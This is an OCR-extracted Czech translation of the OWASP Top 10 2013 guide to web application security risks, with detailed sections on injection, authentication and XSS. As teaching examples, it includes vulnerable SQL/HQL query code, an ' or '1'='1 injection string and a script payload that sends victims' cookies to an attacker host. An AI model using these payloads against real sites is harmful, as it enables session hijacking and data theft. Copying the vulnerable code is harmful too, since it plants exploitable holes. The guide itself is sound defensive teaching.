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Predmluva

OWASP

Nechranény software ohroZuje nasi financni, zdravotnickou,
obrannou, energetickou a dalsi kritickou infrastrukturu.
Obtiznost zabezpeceni aplikaci roste exponencidlné s tim,
¢im vice je nase digitalni infrastruktura slozitéjsi a vzajemné
propojenéjsi.

NemuUZeme si dovolit tolerovat pomérné jednoduché
bezpecnostni problémy, jako jsou ty, které predstavuje tento
OWASP Top 10.

Cilem Top 10 projektu je zvysit povédomi o zabezpeceni
aplikaci tim, Ze identifikuje nékteré z nejkritictéjsich rizik,
kterym organizace Celi. Projekt Top 10 se odkazuje na mnoho
norem, knih, nastrojli a organizaci, véetné MITRE, PCI DSS,
DISA, FTC a mnoho dalsich. Tato verze OWASP Top 10 je
desatym vyroc¢im tohoto projektu, ktery zvySuje povédomi

o vyznamnosti bezpecnostnich rizik aplikaci. OWASP Top 10
byl vydan poprvé v roce 2003, s mensimi aktualizacemi

v letech 2004 a 2007. Verze 2010 byla vylepSena o stanoveni
priority rizika a to nejen s ohledem na jeho prevalenci.
Vydani 2013 nasleduje stejny pfistup.

Doporucujeme vasi organizaci v aplikacni bezpecnosti zacit
s Top 10. Vyvojari se mohou poucit z chyb jinych organizaci.
Manazeti by méli zacit premyslet nad tim, jak fidit rizika,
kterd v jejich podnikani predstavuji pouZivané softwarové
produkty.

V dlouhodobém horizontu vam doporucujeme vytvorit
néjaky program aplikacni bezpecnosti, ktery je kompatibilni
s vasi kulturou a technologii. Tyto programy se objevuji

ve vsech mozZnych podobach — méli byste se vyvarovat
snaham délat vse, co predepisuje néjaky procesni model.
Misto toho vyufZijte stavajici silné stranky vasi organizace,
délejte a mérte to, co je pro vas uzitecné.

Doufame, Ze OWASP Top 10 vam pomuze v dosazeni
aplikaéni bezpecnosti. Jestlize mate néjaké dotazy,
pfipominky a napady, nevahejte kontaktovat OWASP pomoci
verejného owasp-topten@lists.owasp.org nebo soukromého
dave.wichers@owasp.org.

Open Web Application Security Project (OWASP) je oteviena
komunita podporujici organizace ve vyvoji, nakupu a udrzbé
divéryhodnych aplikaci. V OWASP najdete bezplatné

a oteviené ...

* bezpecnostni nastroje a standardy

* kompletni knihy o testovani bezpecnosti aplikaci, vyvoji
bezpecného kddu a bezpecnostnim code review

* standardy bezpecnostnich kontrol a knihoven

* mistni pobocky po celém svéte

e 3pickovy vyzkum

* rozsahlé konference po celém svété

* e-mailové konference

Vice se dozvite na: https://www.owasp.org

VSechny OWASP nastroje, dokumenty, fora a pobocky jsou
zdarma a otevrené kazdému, kdo se zajima o zlepseni
bezpecnosti aplikaci. Priblizujeme zabezpeceni aplikaci

z pohledu lidskych, procesnich a technologickych problému,
protoZe nejucinnéjsi pristupy k zabezpeceni aplikaci vyzaduji
zlepsSovani ve vsech téchto oblastech.

OWASP je novy typ organizace. NaSe svoboda od komercnich
tlakll ndm umoznuje poskytovat nezkreslené, praktické,
nakladoveé efektivni informace o zabezpeceni aplikaci. OWASP
neni spojen s zddnou technologickou spolec¢nosti, ackoli
podporujeme informované pouzivani komercni bezpecnostni
technologie. Podobné jako mnoho softwarovych open source
projektt, OWASP otevienym zplsobem produkuje mnoho
druh(l materiali na zakladé spoluprace.

Nadace OWASP je neziskova organizace, ktera zajistuje
dlouhodobou Uspésnost projektu. Témér vsichni, kdo jsou
spojeni s OWASP, jsou dobrovolniky, véetné rady, globalnich
vybord, lidr( mistnich center, projektovych lidrd a ¢len(
projektu. Podporujeme inovativni vyzkum v oblasti
bezpecnosti s granty a infrastrukturou.

Prijdte k nam!
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Uvod

Vitejte!

Vitejte v OWASP Top 10 2013! Tato aktualizace rozsifuje jednu z kategorii verze 2010, aby obsahla vice spole¢nych a dllezitych
zranitelnosti. Také méni poradi nékterych bod( na zdkladé ménicich se udajli o prevalanci. Také do centra pozornosti pfinasi
bezpelnost komponent vytvofenim zvlastni kategorie pro toto riziko, které bylo v roce 2010 soucdsti A6: Nezabezpedena

konfigurace.

OWASP Top 10 pro rok 2013 je vyhotoven na zakladé 8 sad Gidajd od 7 firem, které se specializuji na zabezpeceni aplikaci, véetné
4 poradenskych spolecnosti a 3 prodejct nastrojd / Saa$ (1 staticky, 1 dynamicky a 1 s obéma). Tyto Udaje zahrnuji vice nez
500.000 zranitelnosti z celé stovky organizaci a z tisict aplikaci. Top 10 polozky jsou vybirany a prioritizovany podle prevalence

v kombinaci s konsensudlnimi odhady o zneuZitelnosti, detekovatelnosti a dopadech.

Hlavnim cilem OWASP Top 10 je vzdélavat vyvojare, designéry, architekty, manaZery a organizace o dasledcich nejvyznamnéjsich
slabinach v zabezpeceni webovych aplikaci. Top 10 poskytuje zakladni techniky pro ochranu proti uvedenym oblastem s vysokym

rizikem — a také navadi, kudy jit dal.

Upozornéni

Podékovani

Nezastavujte na 10! Jak popisuje OWASP Developer’s Guide
a OWASP Cheat Sheet Series, existuji stovky zaleZitosti, které
by mohly mit vliv na celkovou bezpecénost webové aplikace.
To jsou nezbytnd ¢teni pro kazdého, kdo se vénuje vyvoj
webovych aplikaci. Rady, jak efektivné nalézt slabd mista

ve webovych aplikacich, jsou k dispozici

v OWASP Testing Guide a OWASP Code Review Guide.

Neustala zména! Tento Top 10 se bude i nadale ménit.
Dokonce i beze zmény jediného rfadku v kédu vasi aplikace
se mUZete stat zranitelnymi, protoZe se objevuji nové chyby
a metody utokd jsou rafinované. Pro vice informaci si prosim
na konci Top 10 prectéte doporuceni , Vyvojari, ovéfovatelé,
organizace, co dal“?

Myslete pozitivné! Az nebudete pronasledovat zranitelnosti
a budete pfipraveni zamérit se na vytvoreni silné kontroly
zabezpeceni aplikaci, OWASP nabizi Application Security
Verification Standard (ASVS) jako voditko organizacim

a recenzentdm aplikaci k tomu,

co ovérovat.

Ndastroje pouzivejte s rozmyslem! Chyby v zabezpeceni
mohou byt dosti slozité a mohou byt pohibeny v horach
kddu. V mnoha pripadech nejvice nakladové efektivni pristup
k vyhledavani téchto slabych mist jsou lidsti experti
vyzbrojeni dobrymi nastroji.

Pokracujte! Zamérte se na to, aby bezpecnost byla nedilnou
soucasti vasi kultury béhem celé organizace vyvoje. Vice

se dozvite v Open Software Assurance Maturity Model
(SAMM) a Rugged Handbook.

Za iniciovani, vedeni a aktualizace OWASP Top 10 od svého
vzniku v roce 2003 diky Aspect Security a hlavnim autorim:
Jeffovi Williamsovi a Daveovi Wichersovi.

ASPECT|SECURITY

Application Security Experts
Chtéli bychom podékovat tém organizacim, které svymi udaji
o prevalenci zranitelnosti pfispély k aktualizaci 2013:
* Aspect Security — statistiky
* HP — statistiky od Fortify a Weblnspect
* Minded Security — statistiky
* Softtek — statistiky
e Trustwave, SpiderLabs — statistiky (viz str. 50)
* Veracode — statistiky
* WhiteHat Security Inc. — statistiky

Chtéli bychom podékovat viem, ktefi se podileli

na predchozich verzich Top 10. Bez téchto pfispévki

by OWASP Top 10 nebyl tim, ¢im je dnes. Radi bychom také

chtéli podékovat viem tém, ktefi pfispéli vyznamnymi

konstruktivnimi pfipominkami a svym ¢asem k prezkoumavani

této aktualizace Top 10:

e Adam Baso (Wikimedia Foundation)

¢ Mike Boberski (Booz Allen Hamilton)

* Torsten Gigler

* Neil Smithline — (MorphoTrust USA) za tvorbu wiki verzi
Top 10 a také za poskytovani zpétné vazby

A konecné, predem bychom radi podékovali viem

prekladatelim za to, Ze budou tuto verzi Top 10 prekladat

do mnoha rliznych jazyk( a napomahat tomu, aby OWASP

Top 10 byl vice ptistupny na celé planeté.
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AVAR Poznamky k vydani

Co se zménilo ve verzi 2013 oproti 20107

Hrozby v oblasti zabezpeceni aplikaci se neustale méni. Klicovymi faktory tohoto vyvoje jsou zlepsujici se dovednosti Gtocnik(,

vznik novych technologii s novymi slabinami, zavddéni integrovanych bezpecnostnich obrannych mechanism0 a pouzivani ¢im dal

tim slozitéjsich systéma. V reakci na tento vyvoj je OWASP Top 10 pravidelné aktualizovan. Ve verzi 2013 jsme provedli

nasledujici zmény:

1) Nazakladé naseho souboru dat Chybna autentizace a sprdva relace ziskala vétsi vyznam. Myslime si, Ze se tak stalo nikoli
proto, Ze by se Cetnost téchto problému zvysSovala, ale protoZe tato oblast je narocné;jsi na detekci. To zpUsobilo vyménu
pozic mezi riziky A2 a A3.

2) Podle naseho souboru dat zranitelnost Cross Site Request Forgery (CSRF) sniZila svou prevalenci z 2010-A5 na 2013-A8.
Myslime si, Ze to je proto, Ze zranitelnost CSRF byla v OWASP Top 10 6 let a organizace a vyvojafi framework( kladli

dostatecény dliraz na snizeni poctu CSRF zranitelnosti v redlnych aplikacich.

3) Rozsifili jsme téma Selhani v omezeni URL pfistupu z OWASP Top 10 2010, aby bylo vice komplexnéjsi:
+ 2010-A8: Selhani v omezeni URL pfistupu je nyni 2013 - A7: Chyby v fizeni Urovni pfistupl a pokryva vSechny funkce

pro fizeni pfistupu. Existuje mnoho zpUsobl, jak mizZete mit pristup k funkcim, nejen URL.

4) Sloucenim a rozsifenim 2010-A7 a 2010-A9 jsme vytvorili: 2013-A6: Expozice citlivych dat:

— Tato nova kategorie vznikla slou¢enim 2010-A7 - Nechranéné kryptografické ukladani a 2010-A9 Nedostatecna ochrana
transportni vrstvy a pridava rizika souvisejici citlivymi daty na strané prohlizece. Tato nova kategorie zahrnuje ochranu
citlivych dat (odlisnou od Fizeni pfistupu, kterd je soucasti verze 2013 - A4 a A7) od okamZiku, kdy jsou poskytovana
uzivatelem, poslana a uloZzena v ramci aplikace a poslana zpét do prohlizece.

5) Pridali jsme 2013-A9: PouZiti zndmych zranitelnych komponent:

+ Tento problém byl zminén jako souéast 2010 - A6 Nezabezpecend konfigurace (Security Misconfiguration), ale nyni ma
kategorii vlastni, protoZe narlst a intenzita vyvoje zaloZzeném na komponentach vyznamné zvysuje riziko pouZziti

znamych zranitelnych komponent.

OWASP Top 10 — 2010 (predesié)

OWASP Top 10 — 2013 (nové)

Al - Injektovani

A1l - Injektovani

A3 - Chybna autentizace a sprava relace

A2 - Chybna autentizace a sprava relace

A2 - Cross-Site Scripting (XSS)

A3 - Cross-Site Scripting (XSS)

A4 - Nezabezpeceny pfimy odkaz na objekt

A4 — Nezabezpeceny pfimy odkaz na objekt

A6 — Nezabezpecena konfigurace

A5 — Nezabezpecena konfigurace

A7 — Nechranéné kryptografické ukladani — slou¢eno s A9 2>

A6 — Expozice citlivych dat

A8 - Selhani v omezeni URL pfistupu —roz$ifeno do >

A7 — Chyby v fizeni Grovni pFistupti

A5 — Cross-Site Request Forgery (CSRF)

A8 — Cross-Site Request Forgery (CSRF)

<pohibeno v A6: Nezabezpecena konfigurace>

A9 - Pouziti znamych zranitelnych komponent

A10 — NeoSetifené presmérovani a predavani

A10 — NeosSetiené presmérovani a predavani

A9 — Nedostatecna ochrana transportni vrstvy

Slouceno s 2010-A7 do nového 2013-A6




Bezpecnostni rizika aplikaci

Co jsou bezpecnostni rizika aplikaci?

Utoénici teoreticky mohou pouzit mnoho riznych cest skrz vasi aplikaci, aby poskodili va$ podnik nebo organizaci. Kazda
z takovych cest predstavuje riziko, ale mGzZe ¢i nemusi byt natolik zavazné, aby stalo za pozornost.

Pravodci Vektor Bezpecnostni Bezpecnostni Technické Obchodni
hrozby utoku slabiny kontroly dopady dopady

% Utok Slabina Kontrola

% “ Slabina Kontrola

Utok Slabina

=@ Slabina H Kontrola

Nalezeni a vyufZiti téchto cest je nékdy jednoduché a nékdy velmi obtizné. Obdobné zplsobena skoda mize byt bez nasledka,
ale muZe i zablokovat vase podnikani. Chcete-li urcit riziko pro vasi organizaci, miZete posoudit pravdépodobnost, ktera je
spojena s kazdym prlivodcem hrozeb, vektorem Utoku a bezpeénostni slabinou a to kombinovat s ohledem na technicky

a obchodni dopad na vasi organizaci. Tyto faktory spolecné urcuji celkové riziko.

Aktivum

Aktivum

Jaké je mé riziko? Odkazy

OWASP Top 10 se zaméruje na identifikaci nejzavaznéjsich rizik pro Sirokou skalu

organizaci. Ke kazdému z téchto rizik poskytujeme obecné informace o pravdé- OWASP

podobnosti a technickém dopadu pomoci nasledujiciho jednoduchého schématu ) )

hodnoceni, které je zalozeno na OWASP Risk Rating Methodology. * OWASP Risk Rating Methodology

* Article on Threat/Risk Modeling

Slabina
Zjistitelnost

Obchodni
dopady

Technické
dopady

Slabina
Rozsifeni

Pravodci Vektor

hrozby

Apl Apl. / Externi
specifi- Pramérny Pramérna Stredni obcho.;:l.nl * FAR Information Risk Framework
kum -y . _— - specit- * Microsoft Threat Modeling (STRIDE
I Obtizny I Vzacné I Obtizna I Maly I kum and DREAD)

Jen vy znate specifika vaseho prostredi podnikani. Pro danou aplikaci nemusi byt
pravodce hrozby, ktery by vykonaval pfislusny utok. Nebo technicky dopad nemusi
mit Zadny vliv na vase podnikani. Proto byste méli jednotliva rizika vyhodnotit podle
sebe se zamérenim na prlvodce hrozeb, bezpecnostni kontroly

a obchodni dopady ve vasem podniku.

Oznaceni rizik v Top 10 vychazi z typu Utoku, slabin nebo dopadu, ktery zpUsobuiji.
Vybrali jsme ndzvy, které vystizné odrazeji rizika a tam, kde to je mozné, se ztoto-
Znuji se terminologii, ktera s nejvétsi pravdépodobnosti je v obecném povédomi.
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K chybam typu injektovani, jakymi jsou SQL, OS a LDAP injetion, dochazi, kdyz jsou neduivéryhodna data
odeslana do interpretu jako soucdst prikazu nebo dotazu. Utoénikova nepratelska data mohou oklamat
interpret k provedeni nechténych ptikaz( nebo pristupu k datim bez fadné autorizace.

Funkce aplikaci, které se vztahuji k ovérovani a spravé relace ¢asto nejsou provedeny spravné, coz
utoénikim umozniuje kompromitovat hesla, klice nebo tokeny relaci anebo jinym zplsobem prevzit identitu
jinych uzivateld.

Chyby typu XSS se vyskytuji tehdy, kdyZ aplikace pfijima nedlvéryhodna data a odesle je webovému
prohlizeci bez radného ovéreni nebo escapovani. XSS uto¢nikim umoznuje spoustét skripty

v prohlizeCi obéti, které mohou unést uzivatelské relace, pretvorit webové stranky nebo presmérovat
uZivatele na nebezpecné stranky.

Pfimy odkaz vznikne, kdyz vyvojar vystavi odkaz na vnitfni objekt implementace, napfiklad soubor, adresar
nebo databazovy kli¢. Bez kontroly fizeni pfistupu nebo jiné ochrany mohou Gtocnici manipulovat s témito
odkazy a ziskat tak neopravnény pfistup k datlm.

Dobré zabezpeceni vyzaduje mit definované bezpecné nasazeni a konfiguraci aplikace, frameworkd,
aplikaéniho serveru, webového serveru, databazového serveru a platformy. Bezpecnostni nastaveni by méla
byt definovana, provadéna a udrzovana, protoze vychozi hodnoty jsou ¢asto riskantni. Vedle toho by mél
byt software priibézné aktualizovan.

a autorizacéni Udaje. Tato slabé chranéna data Utocnici mohou krast ¢i modifikovat, aby mohli provadét
podvody s kreditnimi kartami, krast identitu anebo cinit jiné zlociny. Citliva data si zaslouZi zvlastni ochranu,
jakou je Sifrovani dat, ktera jsou v klidu nebo v pohybu, stejné jako i zvlastni bezpeénostni opatieni pro data
v prohlizeci.

Vétsina webovych aplikaci ovéri Uroven pristupovych opravnéni k funkcim pred tim, nez jsou tyto
funkcionality viditelné v uZivatelském rozhrani. Pfesto je zapotrebi, aby se provadéla kontrola opravéni
pozadavkl na serveru pokazdé, kdyz je tato funkce pristupna. Jestlize poZzadavky nejsou verifikovany,
utocnici budou schopni vytvorit pozadavky k ziskani pfistupu k funkcionalité bez radného povoleni.

CSRF utok donuti prohlizec prihlasené obéti odeslat do zranitelné webové aplikace podvrzeny HTTP
pozadavek, v€etné session cookie obéti a jinych automaticky vkladanych autentizacnich informaci.

To utoc¢nikovi umoZzriuje donutit prohlize¢ obéti generovat pozadavky, které zranitelnda aplikace povazuje
za legitimni pozadavky obéti.

Komponenty, jako jsou knihovny, frameworky a dalsi softwarové moduly, témér vzdy bézi s nejvyssimi
opravnénimi. Jestlize je komponenta zranitelnd, itok mdze usnadnit zdvaznou ztratu dat nebo ovladnuti
serveru. Aplikace pouzivajici komponenty se znamymi zranitelnostmi mohou oslabit aplikacni obranu

a umoznit fadu moznych Utokl a dopadu.

Webové aplikace ¢asto presmérovavaji a predavaji uzivatele na jiné webové stranky a pouzivaji
nedlvéryhodné udaje k urceni cilové stranky. Bez fadného ovéreni Gtocnici mohou obéti presmérovat
na phishingové nebo malwarové stranky nebo pouZit predani Udajd pro ziskani pristupu k neopravnénym
strankam.
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Injection

% @=unshe0 \I’ektor “olianuune Bezpe(“.:nostnl' @uununnnsfhsg Technické g., Obchodni
Pr;Gvodci utoku slabina dopady dopady
hrozby — —
I . Rozsiteni Zjistitelnost Aplikaéni / obchodni
Aplikacni specifikum BEINE e specifikum

Utoénik posila

Vezméte v Uvahu

Chyby typu injektovani vznikaji, kdyz aplikace posila

kazdého, kdo muze
posilat nedtvéryhodna

jednoduché textové
ptikazy, které zneuZivaji
data do systému, véetné J syntaxi cilového

externich uZivatel(,
internich uZivatelQ
a administratora.

interpretu. Pfenase¢em
injektovani muze byt
témér kazdy zdroj dat
vcetné internich.

do interpretu nedlivéryhodna data. Tyto chyby jsou
velmi rozsitené, obzvlasté v tzv. Legacy Code. Casto

v prikazech OS, parserech XML, hlavi¢kach SMTP,
argumentech programd atd. Chyby typu injektovani
se snadno zjistuji zkoumdnim kddu,

ale ¢asto hafe jinym testovanim. S nalezenim téchto [ ovladnuti hostitelského
chyb mohou Uto¢nikiim pomoci skenery a fuzzery.

Zvazte obchodni
hodnotu dotc¢enych dat
a platformy, na niz bézi
interpret. Mohou byt
ukradena, zménéna
nebo odstranéna
vSechna data. Nemuze
dojit k poskozeni vasi po-
serveru. vésti?

Injektovani muze mit
za nésledek ztrdtu nebo
naruseni integrity,
byvaji nalezeny v dotazech SQL, LDAP, Xpath, NoSQL, | odpovédnosti

C¢i dostupnosti. Nékdy
muZe injektovani vést
ke kompletnimu

Jsem zranitelny vuci injektovani?

Nejlepsim zpusobem, jak zjistit, zda je aplikace zranitelna na injektovanim, je
oveéfit, jestli vSechna pouZiti interprett jasné oddéluji nedlvéryhodna data
od prikazt ¢i dotazd. V pripadé volani SQL to znamena pouZzit bind variables
(vdzané proménné) ve viech prepared statements (pfipravenych prikazech)
a stored procedures (uloZzenych procedurach) a vyhnout se dynamickym
dotazim (dynamic queries).

Rychlym a pfesnym zplsobem jak zjistit, zda aplikace pouziva intereprety
bezpecné, je kontrola kédu. Bezpec¢nostnim analytikim mohou pomoci najit
mista pouziti interprett a sledovat tok dat nastroje pro analyzu kédu.
Penetracni testefi mohou ovéfit nalezené zranitelnosti vytvorenim exploit(,
které zranitelnost potvrdi.

Automatické dynamické skenovani, které otestuje aplikaci, miZe poskytnout
informaci, zda se v aplikaci vyskytuji néjaké trhliny umoznujici injektovani.
Skenery ne vZdy dosahnou na interpety a maji potize se zjisténim, jestli byl
Utok Uspésny. Spatné zachazeni s chybami usnadriuje objevovéni
zranitelnych mist.

Priklady utocnych scénaru

Scénar #1: Aplikace pouZiva pfi vytvoreni nasledujiciho zranitelného volani
SQL nedlvéryhodna data:

String query = "SELECT * FROM accounts WHERE
custlD="" + request.getParameter("id") + "'";

Scénér #2: Podobné slepa dlivéra aplikace k frameworku muze vyustit

v dotazy, které jsou stdle zranitelné (napf. Hibernate Query Language (HQL)):

Query HQLQuery = session.createQuery(“FROM accounts
WHERE custID="" + request.getParameter("id") + """);

V obou pfipadech zméni utoc¢nik hodnotu parametru’ id’ v prohlizedi tak,
aby poslal ' or '1'="1. Napfiklad:

http://example.com/app/accountView?id='or '1'='1

Toto zméni smysl obou dotazl tak, Ze se vrati vSechny zaznamy z tabulky
,accounts”. Nebezpecnéjsi utoky mohou zménit data ¢i dokonce vyvolat
stored procedures (uloZzené procedury).

Jak tomu mohu predejit?

Abychom zabranili injektovéani, méli bychom oddélovat neddvéryhodnd data

od pouzivanych pfikaz( a dotaz(.

1.  Preferovanou mozZnosti je pouZit bezpecné API, které viibec nepouziva
interpret nebo poskytuje parametrizované rozhrani. Budte vsak opatrni
v pripadé API, kterd, ackoliv jsou parametrizovand, skryté umoznuji
injektovani, napf. stored procedures (uloZené procedury).

2. Neni-li parametrizované API k dispozici, méli byste peclivé escapovat
pomoci syntaxe specifické pro dany interpret. Mnoho escapovacich
rutin_poskytuje OWASP ESAPI.

3.  Také se doporucuje ovérovani vstupl na zakladé pozitivnich zkousek
nebo ,white listd“. Takovou obranu vsak nelze povaZovat za uplnou,
nebot mnoho aplikaci na vstupu vyZaduje specidlni znaky. Pouze vyse
uvedené pfistupy 1. a 2. zajisti, aby poufziti takovych znakd bylo
bezpecné. OWASP ESAPI obsahuje rozsititelnou knihovnu rutin, které
ovéfuji vstupy na zdkladé ,white listd“.

Odkazy
OWASP

* OWASP SQL Injection Prevention Cheat Sheet

* OWASP Query Parameterization Cheat Sheet

* OWASP Command Injection Article

* OWASP XML eXternal Entity (XXE) Reference Article

* ASVS: Output Encoding/Escaping Requirements (V6)

* OWASP Testing Guide: Chapter on SQL Injection Testing
Externi

* CWE Entry 77 on Command Injection

* CWE Entry 89 on SQL Injection

* CWE Entry 564 on Hibernate Injection
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relace

Chybna autentizace a sprava

Vektor
Pravodci

Bezpecnostni
utoku [ slabina

Obchodni

@snnnnnnafss@ rechnické g .,
dopady

dopady

hrozeb

Zneuzitelnost

Aplikacni specifikum PRUMERNA

Vezméte v Uvahu
anonymni externi
utocniky i uZivatele

s vlastnimi ucty,

ktefi se mohou pokusit
ukrdst Ucty jinych tory relace) k tomu,
uzivatel(. Také vezméte [ aby se vydaval

v Uvahu interni uZivatele, | za uZivatele.

ktefi chtéji zakryt své
ciny.

Utoénik vyuzivé tniky
¢i ve funkcich spravy

ucty, hesla a identifika-

Zjistitelnost
PRUMERNA

Aplikaéni / obchodni
spacifikum

Vyvojari ¢asto vytvareji vlastni feSeni autentizace
nebo trhliny v autentizaci | a schémata spravy relace, prestozZe jejich spravné
vytvoreni je tézké. V dusledku toho maji tato vlastni
relace (napt. nechranéné | feseni ¢asto nedostatky v odhlaseni, spravé hesel,
dobé platnosti, zapamatovani si pfihlaseni, tajnych
otdzkach, aktualizacich uctu a podobnych oblastech.
Nalezeni takovych nedostatkd nékdy maze byt
obtiZzné, protoZe kazda implementace je jedinecna.

Vezméte v Uvahu
obchodni hodnotu
dotcenych dat nebo
funkci aplikace.

Tyto chyby mohou
umoznit napadeni
nékterych, ¢i dokonce
vSech 0¢ta. Kdyz se utok
podafi, Gtoénik muaze
provadét vie, co mlze
délat obét. Castym cilem
jsou privilegované ucty.

Také zvazte obchodni
dopad zverejnéni
zranitelnosti.

Jsem zranitelny vici nosu?

Jsou aktiva spravy relaci, napf. ptihlasovaci Gdaje uZivatel( a ID relace,

nalezZité chranéna? MuzZete byt ohroZeni, pokud:

1.  Autentizacni Gdaje uZivatell nejsou pfi ukladani chranény pomoci
hashovani nebo sifrovani, viz A6.

2. Udaje Ize uhodnout nebo prepsat pomoci slabych funkci pro spravu
uctu (napf. vytvoreni Uctu, zména hesla, obnoveni hesla, slabé ID

relace).
3. IDrelaci jsou odhalena v URL (napf. rewriting URL).
4. D relaci jsou zranitelné na Utoky session fixation.

5.  ID relaci nemaji nastavenu dobu platnosti, nebo tokeny uzivatelské
relace ¢i autentizacni tokeny, zejména autentizaéni tokeny Single Sign-
On (SS0), nejsou spravné zneplatnény pfi odhlaseni.

6.  Po Uspésném prihlaseni se neméni ID relaci.

7. Hesla, ID relaci a dalsi autorizaéni Udaje jsou posilany nesifrovanym
spojenim.

Dalsi informace viz v poZadavcich oblasti V2 a V3 ASVS.

Priklady utocnych scénari

Scénar #1: Rezervacni aplikace aerolinek podporuje URL rewriting a vklada
do URL ID relace:

http://example.com/sale/saleitems;jsessionid=
2P00OC2JSNDLPSKHCJUN2JV?dest=Hawaii

Autentizovany uZivatel webové aplikace chce poslat informace o nabidce
svym pratelim. Posle jim e-mailem vySe uvedeny odkaz, aniz by védél,

Ze zaroven odesila ID své relace. KdyzZ jeho pratelé pouziji tento odkaz, pouziji
také jeho relaci a kreditni kartu.

Scénar #2: Nejsou spravné nastaveny doby platnosti relaci. UzZivatel pouziva
pro pfistup k nékterému webu verejny pocita¢. Misto toho, aby se odhlasil
tlacitkem ,Odhlasit”, jen zavie zalozku prohlizece a odejde. Utoénik o hodinu
pozdéji poutzije stejny prohlize¢ — a predchozi uZivatel je stale pfihlasen

v aplikaci.

Scénar #3:Interni ¢i externi Gtocnik ziska pristup k databazi hesel systému.

UZivatelska hesla nejsou patfi¢né hashovdna, a tak utocnik vidi hesla vSech
uZivatel(.

Jak tomu mohu predejit?

Hlavnim doporucenim pro organizaci je dat vyvojarim pfistup:

1. kjednotné sadé silného fizeni autentizace a spravy relaci. Tato sada
by méla usilovat o:

a)  splnéni viech poZadavk( na autentizaci a spravu relace
definovanych v Application Security Verification Standard (ASVS)
v oblastech V2 (Autentizace) a V3 (Sprava relace).

b)  jednoduché rozhrani pro vyvojare. Zkuste navazat na dobré
priklady ESAPI Authenticator and User APIs nebo je pouZijte
¢i napodobte.

2. Svelkym Usilim by se mélo zabranit zranitelnostem XSS, pomoci
nichz muzZe byt ukradeno ID relace, viz A3.

Odkazy
OWASP

Dalsi informace o poZzadavcich a problémech spojenych s timto rizikem
viz v. ASVS requirements areas for Authentication (V2) and Session

Management (V3).
* OWASP Authentication Cheat Sheet

* OWASP Forgot Password Cheat Sheet

* OWASP Session Management Cheat Sheet

* OWASP Development Guide: Chapter on Authentication

* OWASP Testing Guide: Chapter on Authentication

Externi

¢ CWE Entry 287 on Improper Authentication

* CWE Entry 384 on Session Fixation
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Cross-Site Scripting (XSS)

V,ektor _ BezPet_’r'OStni [ AN RRRRER BN ] Technické (ANl BN ) Obchodni
Pravodci utoku slabina dopady dopady
hrozby -
I . Zneuzitelnost Dopad Aplikaéni / obchodni
Aplikatni specifikum PROMERNA STREDN{ specifikum

Vezméte v Gvahu Utoénik posild v podobé
kazdého, kdo muze textového retézce
posilat nedGvéryhodna utocné skripty, které
data do systému, véetné [ zneuZivaji interpret
externich uzivatel(, v prohlizeci. Vektorem
internich uzivatelQ utoku muze byt skoro

a administrator(. kazdy zdroj dat véetné

XSS je nejrozsifené;jsi bezpecnostni chybou
webovych aplikaci. Zranitelnost XSS nastava,
kdyzZ aplikace vklada data poskytnutd uZivatelem
do webové stranky, kterou posila do prohlizece,
bez fadné validace Ci escapovani tohoto obsahu.
RozliSujeme tfi typy zranitelnosti XSS: 1) stored
a 2) reflected a 3) DOM based XSS.

Utoénici maZou spoustét | Zvazte obchodni
skripty v prohlizeci obéti, § hodnotu postizeného

coZ jim umoziuje unést ff systému
uzivatelskou relaci, a viech dat, které
zmeénit obsah stranek, zpracovava.

vlozit nebezpecny obsah,

pfesmérovat uZivatele, Také zvaite, jaky

internich zdroj(,
naptiklad dat z databaze.

Nalézt vétsinu XSS na strané serveru je celkem
jednoduché: testovanim nebo analyzou kédu.

obchod-ni dopad muze
mit zverejnéni
zranitelnosti.

zmochit se uZivateova
prohlizece za pouziti
malwaru atd.

Jsem zranitelny vici XSS?

Jste zranitelni, pokud nezajistite, aby byly spravné escapovany vsechny
vstupy zadavané uZivatelem, ani neovéfite jejich bezpecnost validaci vstupl
dfive, nez je pouZijete pfi vytvoreni stranky. Bez spravného vystupniho
escapovani nebo validace bude prohlize¢ zachazet s takovym vstupem

jako s aktivnim obsahem. PouZiva-li se pro dynamické aktualizovani stranek
Ajax, pouZzivate bezpecnd JavaScriptovd API? Pro nebezpecna JavaScriptova
APl musi byt pouZito zakédovani nebo validace dat.

Automatizované nastroje mohou najit nékteré XSS automaticky. Kazda
aplika-ce oviem sestavuje vystupni stranky jinym zplsobem a pouziva na
strané prohlizece rlzné interprety, napf. JavaScript, ActiveX, Flash a
Silverlight,

coz automatickou detekci ztéZuje. Kompletni pokryti problému XSS proto
kromé automatizovanych pfistupd vyzaduje i kombinaci manudlni kontroly
kddu a penetracniho testovani.

Technologie Web 2.0, napf. Ajax, detekci XSS pomoci automatickych nastroju
ztézuje.

Priklady utocnych scénaru

PF¥i konstrukci nasledujiciho kousku HTML pouZiva aplikace nedivéryhodna
data bez validace ¢i escapovani:

(String) page += "<input name='creditcard' type='"TEXT*
value="" + request.getParameter("CC") +

myn

Utoénik zméni parametr ‘CC’ ve svém prohlizeéi na:

'><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
foo="+document.cookie</script>'.

To zpUsobi odeslani ID relace obéti na webové stranky utoénika,

coZz mu umozni unést aktudlni relaci obéti.

Vsimnéte si, Ze Uto¢nik mzZe XSS pouZit ke zmareni jakékoliv automatizované
obrany aplikace proti CSRF. Dalsi informace o CSRF najdete v sekci A8.

Jak mohu predejit XSS?

Prevence XSS vyZaduje oddélit nedivéryhodna data od aktivniho obsahu
prohlizece.

1.  Preferovanou moZnosti je diikladné escapovat vSechna nedvéryhodna
data zaloZend na kontextu HTML (télo, atributy, JavaScript, CSS
nebo URL), do kterého se budou umistovat. Viz OWASP XSS Prevention
Cheat Sheet, kde jsou uvedeny podrobnosti k technikam escapovani
dat.

2. Doporucuje se sice i validace vstupl na zdkladé pozitivnich zkousek
¢i ,whitelist(”, protoZe chrani proti XSS, neni to ovSem kompletni
obrana, nebot mnoho aplikaci vyzaduje na vstupu specialni znaky.
Takovato validace by méla, nakolik je to mozné, pred akceptovanim dat
validovat jejich délku, znaky, format a pravidla ¢innosti.

3. Urozsahlych stranek zvazte automatické sanitizacni knihovny,
napf. OWASP AntiSamy nebo Java HTML Sanitizer Project.

4.  Jako obranu proti XSS na vSech svych strankach zvazte Content Security

Policy.

Odkazy
OWASP

* OWASP XSS Prevention Cheat Sheet

* OWASP DOM based XSS Prevention Cheat Sheet

* OWASP Cross-Site Scripting Article

* ESAPI Encoder API

¢ ASVS: Output Encoding/Escaping Requirements (V6)

* OWASP AntiSamy: Sanitization Library

* Testing Guide: 1st 3 Chapters on Data Validation Testing

